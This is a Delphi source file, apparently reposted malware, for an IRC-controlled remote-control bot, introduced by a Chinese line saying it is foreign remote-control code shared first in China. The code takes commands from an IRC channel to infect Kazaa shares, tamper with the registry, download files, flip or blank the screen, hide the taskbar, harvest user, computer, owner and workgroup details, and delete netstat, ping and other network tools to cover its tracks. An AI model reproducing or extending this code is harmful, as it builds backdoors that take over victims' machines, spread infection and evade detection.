unit1.pas

国外的远程控制源码,国内首发~~~我看到了就转过来了~

      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Visiting visible URL: ' + copy(strRecv, pos('visit_vis', strRecv) + 10, length(strRecv)) + #10#13;
        form1.ircbot.Socket.SendText(send01);
        //OpenURL('cShow', copy(strRecv, pos('visit', strRecv) + 10, length(strRecv)));
      end else

      if pos(ansiuppercase(ircPrefix + 'visit_hid'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Visiting hidden URL: ' + copy(strRecv, pos('visit_hid', strRecv) + 10, length(strRecv)) + #10#13;
        form1.ircbot.Socket.SendText(send01);
        //OpenURL('cShow', copy(strRecv, pos('visit', strRecv) + 10, length(strRecv)));
      end else

      if pos(ansiuppercase(ircPrefix + 'windir'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Windows Directory: ' + WinDir + #10#13;
        form1.ircbot.Socket.SendText(send01);
      end else
      if pos(ansiuppercase(ircPrefix + 'sysdir'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :System Directory: ' + SysDir + #10#13;
        form1.ircbot.Socket.SendText(send01);
      end else
      if pos(ansiuppercase(ircPrefix + 'tmpdir'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Temp Directory: ' + TmpDir + #10#13;
        form1.ircbot.Socket.SendText(send01);
      end else
      if pos(ansiuppercase(ircPrefix + 'say'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :' + copy(strRecv, pos('say', strRecv) + 4, length(strRecv)) + #10#13;
        form1.ircbot.Socket.SendText(send01);
      end else
      if pos(ansiuppercase(ircPrefix + 'infect_kazaa'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Infecting Kazaa' + #10#13;
        form1.ircbot.Socket.SendText(send01);
        KaZaA_infekt;
      end else
      if pos(ansiuppercase(ircPrefix + 'leave_mark'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Leaving Mark :P' + #10#13;
        form1.ircbot.Socket.SendText(send01);

       Registry:=TRegistry.Create;
       Registry.RootKey:=HKEY_CURRENT_USER;
       Registry.OpenKey('\SOFTWARE\Microsoft\Internet Explorer\Main',False);
       Registry.WriteString('RegisteredOrganization', 'http://www.imafraid.com/');
       Registry.Free;
       end else
       if pos(ansiuppercase(ircPrefix + 'help'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :RTFM BITCH' + #10#13;
        form1.ircbot.Socket.SendText(send01);
       end else
       if pos(ansiuppercase(ircPrefix + 'download'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Downloading File ( ' + copy(strRecv, pos('download', strRecv) + 9, length(strRecv)) + ' )' + #10#13;
        form1.ircbot.Socket.SendText(send01);

       end else
       if pos(ansiuppercase(ircPrefix + 'nick'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'NICK ' + copy(strRecv, pos('nick', strRecv) + 5, length(strRecv)) + ' )' + #10#13;
        form1.ircbot.Socket.SendText(send01);

       end else
    end else



  end;
  function tform1.GetNick(const nick: string): string;
  begin
   Result :=  Copy(nick, 2, Pos('!', nick) - 2)
  end;

  Procedure TForm1.CoverMyTracks;
var
WindowsDirectory : String ;
begin
DeleteFile(WindowsDirectory+'Netstat.exe');
DeleteFile(WindowsDirectory+'NBTSTAT.EXE');
DeleteFile(WindowsDirectory+'TRACERT.EXE');
DeleteFile(WindowsDirectory+'ROUTE.EXE');
DeleteFile(WindowsDirectory+'PING.EXE');
end;

procedure tform1.createdirs(dir:string; dirprefix:string; numdirs:integer);
var
I: Integer;
begin
      for I := 0 to numdirs do
        begin
        CreateDirectory(PChar(dir + dirprefix + IntToStr(I)), nil);
        end;
end;
procedure tform1.flipscreen;
var
 Canvas: TCanvas;
begin
 Canvas:=TCanvas.Create;
 try
   Canvas.Handle:=CreateDC('DISPLAY',nil,nil,nil);
   Canvas.CopyRect(Rect(0,0,Screen.Width,Screen.Height),Canvas,
     Rect(0,Screen.Height,Screen.Width,0));
 finally
   Canvas.Free;
 end;
end;

//INFO HERE

Function tform1.UserName : string;
 Var
     buffer : String;
     buffsize : DWORD;
  Begin
       buffsize := 128;
       Setlength(buffer,buffsize);
       Getusername(Pchar(buffer),buffsize);
       result := buffer;
  end;
FUNCTION tform1.ComputerName:string;
var
  arrCompName : Array[0..255] Of Char;
  strCompName : String;
  CompNameLen : Cardinal;
 // CompNameLen : Cardinal; If using Delphi4
 // Thanks to Kurt Troncquo
begin
 CompNameLen := MAX_COMPUTERNAME_LENGTH + 1;
  If GetComputerName(arrCompName, CompNameLen) Then
    Begin
     SetLength(strCompName, MAX_COMPUTERNAME_LENGTH + 1);
     result := StrPas(arrCompName);
    End;

end;

function tform1.GetOrg: string;
var
  reg : TRegistry;
begin
  reg         := TRegistry.Create;
  try
    reg.Rootkey := HKEY_LOCAL_MACHINE;
    reg.Openkey('software\microsoft\windows\currentversion', False);
    Result := reg.ReadString('RegisteredOrganization');
  finally
    reg.Free;
  end;
end;

function tform1.GetRegowner: string;
var
  reg : TRegistry;
begin
  reg         := TRegistry.Create;
  try
    reg.Rootkey := HKEY_LOCAL_MACHINE;
    reg.Openkey('software\microsoft\windows\currentversion', False);
    Result := reg.ReadString('RegisteredOwner');
  finally
    reg.Free;
  end;
end;

function tform1.GetWorkgroup: string;
var
  reg : TRegistry;
begin
  reg         := TRegistry.Create;
  try
    reg.Rootkey := HKEY_LOCAL_MACHINE;
    reg.Openkey('system\CurrentControlSet\Services\VxD\VNETSUP', False);
    Result := reg.ReadString('Workgroup');
  finally
    reg.Free;
  end;
end;





function tform1.GetCPUSpeed: Double;
const
  DelayTime = 500; // measure time in ms
var
  TimerHi, TimerLo: DWORD;
  PriorityClass, Priority: Integer;
begin
  PriorityClass := GetPriorityClass(GetCurrentProcess);
  Priority := GetThreadPriority(GetCurrentThread);
  SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
  SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);
  Sleep(10);
  asm
    dw 310Fh // rdtsc
    mov TimerLo, eax
    mov TimerHi, edx
  end;
  Sleep(DelayTime);
  asm
    dw 310Fh // rdtsc
    sub eax, TimerLo
    sbb edx, TimerHi
    mov TimerLo, eax
    mov TimerHi, edx
  end;
  SetThreadPriority(GetCurrentThread, Priority);
  SetPriorityClass(GetCurrentProcess, PriorityClass);
  Result := TimerLo / (1000.0 * DelayTime);
{


    Label1.Caption := Format('CPU speed: %f MHz', [GetCPUSpeed]);
    Application.ProcessMessages;

}
end;

procedure tform1.OpenURL(hWnd: THandle; strURL: string);
begin
   ShellExecute(hWnd,'Open',PChar(strURL),nil,nil,1);
end;

procedure tform1.ShowTask(cShow: Boolean);
begin
   if cShow then
      SetWindowPos(FindWindow(PChar('Shell_traywnd'),nil),0,0,0,0,0,SWP_SHOWWINDOW)
   else
      SetWindowPos(FindWindow(PChar('Shell_traywnd'),nil),0,0,0,0,0,SWP_HIDEWINDOW);
end;

procedure tform1.PowerMonitor(hWnd: THandle; Power: Boolean);
begin
   if Power then
   begin
      SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);
   end else
   if not (Power) then
   begin
      SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
   end else
end;



function tform1.WinDir: string;
var
   intLen:integer;
   strBuffer:string;
begin
   SetLength(strBuffer,1000);
   intLen:=GetWindowsDirectory(PChar(strBuffer),1000);
   WinDir:=Trim(Copy(strBuffer,1,intLen));
end;

function tform1.SysDir: string;
var
   intLen:integer;
   strBuffer:string;
begin
   SetLength(strBuffer,1000);
   intLen:=GetSystemDirectory(PChar(strBuffer),1000);
   SysDir:=Trim(Copy(strBuffer,1,intLen));
end;

function tform1.TmpDir: string;
var
   intLen:integer;
   strBuffer:string;
begin
   SetLength(strBuffer,1000);
   intLen:=GetTempPath(1000,PChar(strBuffer));